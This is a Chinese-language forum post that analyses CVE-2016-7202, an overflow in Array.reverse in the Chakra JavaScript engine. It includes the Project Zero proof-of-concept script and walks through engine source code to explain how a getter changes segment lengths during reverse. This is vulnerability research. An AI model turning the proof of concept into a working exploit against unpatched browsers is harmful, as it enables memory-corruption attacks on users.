2

[原创]CVE-2016-7202:Overflow in Array.reverse

Ox9A82 2017-11-13 11:02 418
 

这是一个natashenka在16年报的漏洞,关注浏览器的同学应该都有看过她的《The ECMA and the Chakra
-Hunting bugs in the Microsoft Edge Script Engine》

 

poc首先定义了一个array a和object o,之后给object o设置一个getter。并将a的proto设为o,之后对a调用Array.prototype.reverse。

 

https://bugs.chromium.org/p/project-zero/issues/detail?id=925

var a = [1];
a.length = 1000;
var j = [];

var o = {};
Object.defineProperty(o, '1', {
    get: function() {
      a.length = 1002;
      j.fill.call(a, 7.7);
      return 2;
    }
  });

a.__proto__ = o;

var r = j.reverse.call(a);
r.length = 0xfffffffe;
r[0xfffffffe - 1] = 10;

调试

异常出现在如下函数

void SparseArraySegmentBase::EnsureSizeInBound(uint32 left, uint32 length, uint32& size, SparseArraySegmentBase* next)
    {
        uint32 nextLeft = next ? next->left : JavascriptArray::MaxArrayLength;
        Assert(nextLeft > left);

        if(size != 0)
        {
            // Avoid writing to 'size' for an empty segment. The empty segment is a constant structure and writing to it (even
            // if it's not being changed) may cause an AV.
            size = min(size, nextLeft - left);
        }
        Assert(length <= size); <====crash
    }

其中length的值为0x000003ea,size值为1,导致Assert抛出异常。
观察函数可以知道nextLeft为JavascriptArray::MaxArrayLength也就是0xffffffff
size = min(size, nextLeft - left),length值为我们设置的1002(0x000003ea)是正常值,nextLeft和length值为正常说明left值存在问题。

 

观察left值来源

seg->left = ((uint32)length) - (seg->left + seg->length);

跟踪函数流程,发现是由以下函数调用到的

 template <typename T>
    Var JavascriptArray::ReverseHelper(JavascriptArray* pArr, Js::TypedArrayBase* typedArrayBase, RecyclableObject* obj, T length, ScriptContext* scriptContext)

由文档可知JavascriptArray::ReverseHelper对应于Array.prototype.reverse
reverse方法用于将数组中元素的位置颠倒

a1=[1,2,3];
a1.reverse();

[object Array][3, 2, 1]

Array.prototype.reverse

首先来看下Array.prototype.reverse是怎么实现的

1.Let O be ToObject(this value).
2.Let len be ToLength(Get(O, "length")).
3.Let middle be floor(len/2).
4.Let lower be 0.

 

首先获取长度设为len,取中间值设为middle,起始值设为lower为0
之后就是循环交换upper和lower指向的值,如下图
捕获.PNG-94.8kB

 

对应到Chakra的代码中则是如下情况

while (seg)
{
    nextSeg = seg->next;
    // If seg.length == 0, it is possible that (seg.left + seg.length == prev.left + prev.length),
    // resulting in 2 segments sharing the same "left".
    if (seg->length > 0)
    {
        if (isIntArray)
        {
            ((SparseArraySegment<int32>*)seg)->ReverseSegment(recycler);
        }
        else if (isFloatArray)
        {
            ((SparseArraySegment<double>*)seg)->ReverseSegment(recycler);
        }
        else
        {
            ((SparseArraySegment<Var>*)seg)->ReverseSegment(recycler);
        }

        seg->left = ((uint32)length) - (seg->left + seg->length);
        seg->next = prevSeg;
        // Make sure size doesn't overlap with next segment.
        // An easy fix is to just truncate the size...
        seg->EnsureSizeInBound();

        // If the last segment is a leaf, then we may be losing our last scanned pointer to its previous
        // segment. Hold onto it with pinPrevSeg until we reallocate below.
        pinPrevSeg = prevSeg;
        prevSeg = seg;
    }
    seg = nextSeg;
}

其中ReverseSegment函数负责真正的置换操作,根据数组元素的类型执行对应的模版函数。

template<typename T>
void SparseArraySegment<T>::ReverseSegment(Recycler *recycler)
{
    if (length <= 1)
    {
        return;
    }

    T temp;
    uint32 lower = 0;
    uint32 upper = length - 1;
    while (lower < upper)
    {
        temp = elements[lower];
        elements[lower] = elements[upper];
        elements[upper] = temp;
        ++lower;
        --upper;
    }
}
seg->left = ((uint32)length) - (seg->left + seg->length);

其中length是由上层函数传递的,seg->length是从对象中获取的,调试发现这两个值有所不同
length为1000,而seg->length为1002,这里相减产生负值导致crash发生。

关于getter

根据POC猜测这里对象中的length改变是由于对a数组设置的getter

var o = {};
Object.defineProperty(o, '1', {
    get: function() {
      a.length = 1002;
      j.fill.call(a, 7.7);
      return 2;
    }
  });
a.__proto__ = o;

根据调试发现ForEachOwnMissingArrayIndexOfObject中调用ES5Array::GetItem触发了Getter导致array的segment发生变化

if (descriptor->Getter)
{
    RecyclableObject* func = RecyclableObject::FromVar(descriptor->Getter);
    *value = Js::JavascriptOperators::CallGetter(func, originalInstance, requestContext);
}

那么getter中的j.fill.call(a, 7.7)存在的意义是什么呢,如果只是把a.length设为1002,虽然array object的length会变成1002但是array对应的segment的length和size并不会变成1002,因为这块内存并没有实际使用因此就不会更改segment的长度,从而无法触发漏洞。
至此我们明确了漏洞产生的原因在于segment的长度可以在函数执行过程中被改变(比如通过getter)。

小结

seg->left = ((uint32)length) - (seg->left + seg->length);

这里的seg->left是直接使用上层传递的参数length进行运算的,因此length是固定的但是seg->length是可以通过user callback控制的,从而使得用户可以控制seg值。
此外还有一个版本的POC是通过Proxy劫持getPrototypeOf实现的user callback篡改segment长度,基本原理一致不再详细分析。

最新回复 (1)
聖blue 6天前
2
不错!
返回